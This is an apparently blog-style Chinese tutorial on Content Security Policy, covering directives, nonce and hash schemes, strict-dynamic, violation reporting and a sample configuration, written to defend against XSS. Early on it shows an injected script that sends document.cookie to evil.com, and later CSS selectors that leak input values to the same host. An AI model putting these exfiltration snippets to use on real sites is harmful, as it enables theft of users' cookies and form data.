Content Security Policy 深度解析:从 XSS 防护到 strict-dynamic
CSP:XSS 防护的最后一道防线
Content Security Policy(CSP)是 HTTP 响应头,告诉浏览器哪些资源可以加载、从哪里加载。即使攻击者注入了恶意脚本,CSP 也能阻止其执行。
没有 CSP 时的 XSS 攻击
<!-- 攻击者注入的脚本 -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
有 CSP 后
Content-Security-Policy: default-src 'self'
→ 浏览器拒绝执行内联脚本
→ 拒绝加载非同源资源
→ XSS 攻击失效
CSP 核心指令
资源加载指令
| 指令 | 控制范围 | 示例值 |
|---|---|---|
default-src |
所有资源的默认策略 | 'self' |
script-src |
JavaScript 来源 | 'self' 'nonce-abc' |
style-src |
CSS 来源 | 'self' 'unsafe-inline' |
img-src |
图片来源 | 'self' data: https: |
font-src |
字体来源 | 'self' https://fonts.gstatic.com |
connect-src |
fetch/XHR/WebSocket 来源 | 'self' https://api.example.com |
media-src |
音视频来源 | 'self' |
object-src |
<object>/<embed> 来源 |
'none' |
frame-src |
iframe 来源 | 'self' |
base-uri |
<base href> 限制 |
'self' |
form-action |
表单提交目标 | 'self' |
文档指令
| 指令 | 作用 | 推荐值 |
|---|---|---|
upgrade-insecure-requests |
HTTP 自动升级 HTTPS | (无需值) |
block-all-mixed-content |
阻止混合内容 | (无需值) |
sandbox |
限制页面能力(类似 iframe sandbox) | allow-scripts allow-forms |
从 unsafe-inline 到 nonce/hash
unsafe-inline 的风险
script-src 'self' 'unsafe-inline'
→ 允许所有内联脚本执行
→ XSS 注入的 <script> 也能执行
→ CSP 形同虚设
nonce 方案
服务端为每个请求生成随机 nonce,仅允许带匹配 nonce 的脚本执行:
<!-- HTTP 响应头 -->
Content-Security-Policy: script-src 'self' 'nonce-abc123def456'
<!-- HTML 中的脚本 -->
<script nonce="abc123def456">
console.log('这是合法脚本');
</script>
<!-- 攻击者注入的脚本没有 nonce → 被阻止 -->
<script>
stealCookies(); // 不执行
</script>
Next.js 中实现 nonce
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const csp = `script-src 'self' 'nonce-${nonce}'`;
const response = NextResponse.next();
response.headers.set('Content-Security-Policy', csp);
response.headers.set('x-nonce', nonce);
return response;
}
hash 方案
对脚本内容计算 SHA256 哈希,仅允许哈希匹配的脚本:
Content-Security-Policy: script-src 'self' 'sha256-abc123...'
<!-- 哈希匹配的脚本可以执行 -->
<script>console.log('固定内容脚本');</script>
hash 适用于内容固定的内联脚本(如 GA 初始化代码),nonce 适用于动态内容。
strict-dynamic:信任链传播
传统 CSP 的痛点
每新增一个第三方脚本来源,就要在 script-src 中添加域名:
script-src 'self' cdn.jsdelivr.net cdn.jsdelivr.net/npm analytics.google.com ...
维护困难,且信任域名下的所有脚本。
strict-dynamic 方案
strict-dynamic 表示:由 nonce/hash 信任的脚本动态加载的脚本也自动受信任。
script-src 'strict-dynamic' 'nonce-abc123'
- 带 nonce 的
<script>可以执行 - 该脚本用
document.createElement('script')创建的脚本也可以执行 - 不需要在 CSP 中列出所有 CDN 域名
信任链传播规则
nonce 信任的脚本
↓ 动态加载
子脚本自动信任
↓ 动态加载
孙脚本自动信任
↓ ...
strict-dynamic下,'self'、'unsafe-inline'、域名源等传统源表达式被忽略,仅 nonce/hash 作为信任根。
style-src 的特殊处理
为什么 CSS 也需要 CSP
攻击者可以通过 CSS 窃取数据:
/* CSS 数据窃取:根据属性值加载不同背景图 */
input[value^="a"] { background: url(https://evil.com/?char=a); }
input[value^="b"] { background: url(https://evil.com/?char=b); }
样式 CSP 策略
style-src 'self' 'nonce-xyz789'
<style nonce="xyz789">
.card { border-radius: 8px; }
</style>
许多框架(如 Tailwind CSS 的 JIT)需要
'unsafe-inline',可通过 nonce 或 hash 逐步收紧。
CSP 违规报告
配置报告端点
Content-Security-Policy: default-src 'self'; report-uri /api/csp-report
或使用新的 report-to:
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://toolsku.com/api/csp-report"
违规报告格式
{
"csp-report": {
"document-uri": "https://toolsku.com/blog/csp",
"violated-directive": "script-src 'self'",
"blocked-uri": "inline",
"source-file": "https://toolsku.com/blog/csp",
"line-number": 42,
"column-number": 8
}
}
报告处理服务端
export async function POST(request: Request) {
const report = await request.json();
console.error('CSP violation:', report['csp-report']);
await db.insert('csp_violations', {
uri: report['csp-report']['document-uri'],
directive: report['csp-report']['violated-directive'],
blocked: report['csp-report']['blocked-uri'],
timestamp: new Date()
});
return new Response(null, { status: 204 });
}
CSP 只读模式(Content-Security-Policy-Report-Only)
部署 CSP 前先用 Report-Only 模式观察违规,不实际阻止:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /api/csp-report
渐进部署流程
1. 设置 CSP-Report-Only → 收集违规报告
2. 分析报告 → 调整 CSP 策略
3. 违规清零后 → 切换为正式 CSP
4. 持续监控 → 发现新违规再调整
完整 CSP 配置示例
工具库网站的 CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' 'strict-dynamic' 'nonce-{NONCE}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.toolsku.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
report-uri /api/csp-report
配置解析
| 指令 | 值 | 安全意义 |
|---|---|---|
default-src 'self' |
默认仅同源 | 防止任意资源加载 |
script-src 'strict-dynamic' 'nonce-...' |
nonce + 信任链 | 消灭 unsafe-inline |
style-src 'unsafe-inline' |
允许内联样式 | Tailwind JIT 需要 |
object-src 'none' |
禁止 Flash/Java | 消灭旧插件攻击面 |
frame-src 'none' |
禁止 iframe | 防止点击劫持 |
base-uri 'self' |
限制 base 标签 | 防止 base 劫持 |
form-action 'self' |
表单仅提交同源 | 防止表单劫持 |
与其他安全响应头配合
| 响应头 | 作用 | 推荐值 |
|---|---|---|
X-Content-Type-Options |
禁止 MIME 嗅探 | nosniff |
X-Frame-Options |
禁止 iframe 嵌入 | DENY |
X-XSS-Protection |
浏览器 XSS 过滤器 | 0(CSP 已覆盖) |
Strict-Transport-Security |
强制 HTTPS | max-age=31536000; includeSubDomains |
Referrer-Policy |
控制 Referer 泄露 | strict-origin-when-cross-origin |
Permissions-Policy |
限制浏览器 API | camera=(), microphone=(), geolocation=() |
常见陷阱
| 陷阱 | 说明 | 解决 |
|---|---|---|
unsafe-eval |
允许 eval()/new Function() |
避免使用 eval,或用 Wasm 替代 |
unsafe-inline + nonce |
nonce 存在时 inline 被忽略 | 移除 unsafe-inline |
缺少 default-src |
未设置的指令回退到 default-src | 始终设置 default-src |
| CDN 域名过多 | 维护困难 | 使用 strict-dynamic |
不设 base-uri |
攻击者可注入 <base> 改变相对路径 |
设置 base-uri 'self' |
总结
CSP 是 XSS 防护的核心机制。从 unsafe-inline 迁移到 nonce + strict-dynamic 是现代 CSP 的最佳实践:既消除了内联脚本的风险,又解决了第三方脚本信任链的维护问题。配合 Report-Only 渐进部署和违规报告监控,可以在不破坏功能的前提下持续收紧安全策略。
使用 CSP 生成器 快速配置 CSP 策略,使用 HTTP 头分析 检查响应头安全性,使用 Permissions Policy 工具 限制浏览器 API 访问。
本站提供浏览器本地工具,免注册即可试用 →